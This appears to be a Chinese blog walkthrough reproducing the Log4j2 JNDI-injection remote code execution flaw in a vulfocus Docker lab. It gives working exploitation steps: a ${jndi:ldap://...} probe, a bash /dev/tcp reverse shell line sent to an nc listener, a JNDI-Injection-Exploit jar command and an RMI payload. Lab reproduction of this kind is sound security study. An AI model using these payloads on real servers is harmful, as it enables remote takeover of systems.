目录

前言

一、环境搭建

二、复现步骤


前言

Apache Log4j2是 Apache软件基金会下的一个开源的基于 Java 的日志记录工具。Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。

2021 年 12 月 9 日晚,Log4j2 的一个远程代码执行漏洞的利用细节被公开。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

作为核弹级别的漏洞不知让多少人深夜加班0.0

文章使用vulfocus/log4j2-rce-2021-12-09靶场环境。

 


 

一、环境搭建

1、开启docker服务service docker start(没有docker容器可以在我之前搭建灯塔文章有教程前三步)

2、下载漏洞环境docker pull vulfocus/log4j2-rce-2021-12-09

3、开启环境docker run -tid -p 3456(端口号自己选择):8080 vulfocus/log4j2-rce-2021-12-09

开启成功

二、复现步骤

1、docker ps查看开启端口 之后用物理机访问centos7ip地址接端口号就能看到界面

2、用老版火绒centos7IP地址加端口号访问,之后点击问号界面会显示只有ok

3、在输入点后面加上利用语句${jndi:ldap://IP地址}用dnslog给的地址替换上面的地址后访问

刷新dnslog界面看是否有回显(这一步是验证可以跳过)

4、使用编写好的脚本对nc反弹shell语句加密bash -i >& /dev/tcp/用来检测端口的ip地址(这里用的是kail开启nc监听6666端口) 0>&1

5、打开kail开启nc端口监听从新打开一个命令窗口使用给的脚本

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "输入加密好的命令" -A "kail地址"

6、使用给的连接替换在网上复制的语句替换为${jndi:rmi://脚本生成的ip/gwkpxt}

7、将语句进行url加密之后回到kail的nc监听端口就完成反弹shell


Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐